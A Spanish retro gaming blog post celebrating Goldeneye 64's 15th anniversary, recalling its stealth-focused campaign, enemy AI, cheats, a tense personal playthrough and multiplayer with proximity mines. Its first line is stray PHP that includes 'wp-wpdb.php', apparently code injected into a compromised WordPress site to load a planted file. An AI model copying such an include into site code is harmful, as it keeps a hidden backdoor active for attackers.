if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Goldeneye: Homenaje a sus 15 años – La Fortaleza de LeChuck

Goldeneye: Homenaje a sus 15 años

¿A que día estamos? No, no, para alguien que jugó a Goldeneye no es esa fecha, es 15 D. G. (Despúes de Goldeneye), es decir, que ya hace 15 años desde la salida de Goldeneye. Si, si, hasta tu, Sonyer de la época, estuviste enganchado a este juegazo en la casa de tu amigo, ese tío raro que tenía una Nintendo 64 en casa, y envidiaste su exclusividad mientras tu jugabas a Crash Bandicoot (juego de Sony menos «mature», presunción típica del Sonyer de la época sobre Nintendo 64 y sus «juegos para niños») . Pues hoy en La Fortaleza de Lechuck para mi, es un día mágico, pues voy a hablar del juego que posiblemente me ha robado más horas delante de una videoconsola, Goldeneye para Nintendo 64.

Os voy a pedir de primeras, que reproduzcáis la OST del juego original desde este «vídeo», para entrar en ambiente.

Y eso es tirar a la baja. Goldeneye tenia increíbles posibilidades, que deja en pelota picada a cualquier juego actual que presuma de tener un modo campaña y un multijugador. Una campaña que fue portada con maestría desde la película original de 007, e incluso aprovechando el argumento y las escenas para meterte mucho mejor en lo que significa ser un auténtico espía. James Bond suele ser lo más, pero la famosa  película Goldeneye quedaba eclipsada, en cuanto a calidad, por su videojuego homónimo.

Las mayores novedades que aportaba el juego en forma de FPS, era la forma en que estaban concebidos los niveles. Estructurado por fases, cada una de ellas nos plantea algo más que llegar al final de nivel, con emocionantes submisiones como espía para conseguir cierta llave, acabar con algún personaje, detonar alguna sala de maquinaria, robar algunos archivos confidenciales, rescatar científicos, etc. Te obligaban a recorrer de un punto a otro cada nivel de forma muy inteligente, y como espía, más te valía que nadie se enterase de tus movimientos, ya que activarán la alarma y todos los enemigos del escenario irían a por ti, incluso algunas veces llegarían de forma ilimitada y tocaba intentar huir hacia el final, o atrincherarse en algun sala para pensar tu próximo movimiento. Todo estudiado para que tus balas fueran escasas y tuvieras que pensar la forma más sigilosa de avanzar, pensando a cual enemigo era esencial cargarte y a cual era mejor esquivar para no levantar sospecha.

La Inteligencia artificial de éstos, además, era alucinante. Si escuchaban algún sonido atípico da por hecho de que el vigilante de ese área irá a echar un vistazo, además, si deseas esquivarlo más te vale no pasar demasiado cerca y siempre cuando den la espalda. Si es necesario utilizar tu arma, más te vale hacerlo con discreción. El silenciador valía oro pero si te ves en un tiroteo y necesitas mayor poder de fuego, los enemigos de habitaciones contiguas son alertados e iran igualmente a por ti.

 

Los niveles de dificultad aportaban algo más que la fácil forma de morir de muchos juegos. Incluía más submisiones igual de interesantes o más que las primarias, por lo que resultaba obligatorio para el jugador jugar en su máximo apogeo y poder saber lo que significa ser el auténtico James Bond.También recuerdo con mucho cariño los trucos (Cheats) que podías desbloquear pasando los niveles dentro de un límite de tiempo y en cierto nivel de dificultad. Especialmente divertido jugar con los personajes cabezudos, aunque había una larga lista de cosas divertidas.

Una curiosidad que nunca olvidaré en Goldeneye. Un verano intentando pasar el juego en «00 Agent» estuve atascado durante días en un nivel en concreto, el típico enemigo que sabes que está tras esa puerta pero siempre te mata y no logras la táctica para terminar con el. Un enemigo normal y corriente, aquí no hacían falta jefes finales ni nada de eso (aunque en cierto modo también los hubo), pero la tensión de saber que tras una hora de «partida perfecta» tenías que lidiar con el mismo tipo que lleva 20 partidas matándote, y tu a cada partida intentando llegar con el máximo de salud posible para contrarrestar su velocidad con la pistola. Pues como os comentaba, un verano de mucha calor, la tensión de llegar a esa puerta a vida o muerte, hizo que mi corazón estuviera a punto de estallar. Seguro que muchos de nosotros lo hemos sentido alguna vez, y siempre se me aceleraba pero esa vez tuve que dejar incluso de jugar. Estaba sobresaltado, así que me dije «Tensión fuera pero ya». Pausé el juego, apagué la tele, y me di una vuelta. La técnica de como derrotarlo ya la tenía depurada, depuradísima después de tantas partidas, pero como sabéis un disparo recibido en ese nivel de dificultad y a esas alturas del juego significaba la muerte instantánea. Simplemente descansé para aliviar mi tensión. Luego volví, con las mismas ganas de la partida que echas después de dos días sin tocar tu juego favorito. Y lo derroté, y pasé ese nivel. Las emociones eran evidentes, este juego calaba muy hondo, quizás demasiado. Es la magia de superar algo con cierta dificultad en general, y de Goldeneye en concreto. No recuerdo el nivel y la zona exactamente (La memoria selectiva me hace borrar de mi mente los momentos amargos).

¿Ya estamos? No, todavía queda por hablar del ilimitado multijugador. Hace unos días salió el tema por twitter, y eso me dió la idea de hablar por fin de Goldeneye en el blog. La verdad es que las horas que me he pasado en el multijugador de Goldeneye son incontables. Facility y Complex eran mis escenarios favoritos. Sin ninguna duda, su diseño era especialmente viciante. Lo que más risas provocaba era usar las posibilidades de las armas en contra de tus enemigos. Por poner un ejemplo, las superdivertidas  posibilidades de las minas de proximidad, mucho más eficientes y díficiles de detectar que cualquier Claymore que puedas plantar en los FPS de hoy en día.

Con todas esas posibilidades había infinita diversión y minijuegos que creaba uno mismo. ¿Quién no ha cubierto una punta a otra de minas sin que mirase su colega y luego le tocaba llegar a la otra punta vivo. Era masoquismo puro, pero la risa. Claro está, las minas podían activarse disparando sobre ellas, así que simplemente era ir asomando por cada puerta o acercándose y alejándose rápidamente para que no te afectara demasiado (Era usual poner una mina de proximidad por el otro lado de una puerta, indetectable pero si bastante previsible).

Yo realmente jugaba practicamente solo con mi hermano, no podía jugar a cuatro jugadores habitualmente, aunque recordemos que podemos reunir alguna de todas estas sensaciones con «Goldeneye Source«, aunque al final este juego estaba diseñado para ese especial mando de Nintendo 64, que además es de lo más original y cómodo, estrenando el stick analógico en los mandos (aunque si lo coges ahora lloras, todo hay que decirlo).

Para terminar os dejo con este video de Goldeneye «Real Life» para que os partáis en dos de risa con el alma Goldeneye (y la IA suicida que tenían los compañeros) captado a la perfección.

Creo que me he dejado mucho por comentar, pero mi idea era recordar el juego más que analizarlo, ¿Vosotros que recuerdos especiales tenéis de Goldeneye?

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Categorizado como Retro

Por Museboy

Como la mayoría de vosotros, crecí jugando a videojuegos y ahora intento transmitir toda la pasión por este mundo en La Fortaleza de LeChuck. También busco ofertas de videojuegos. Seguidme en Twitter y sabréis de qué hablo.

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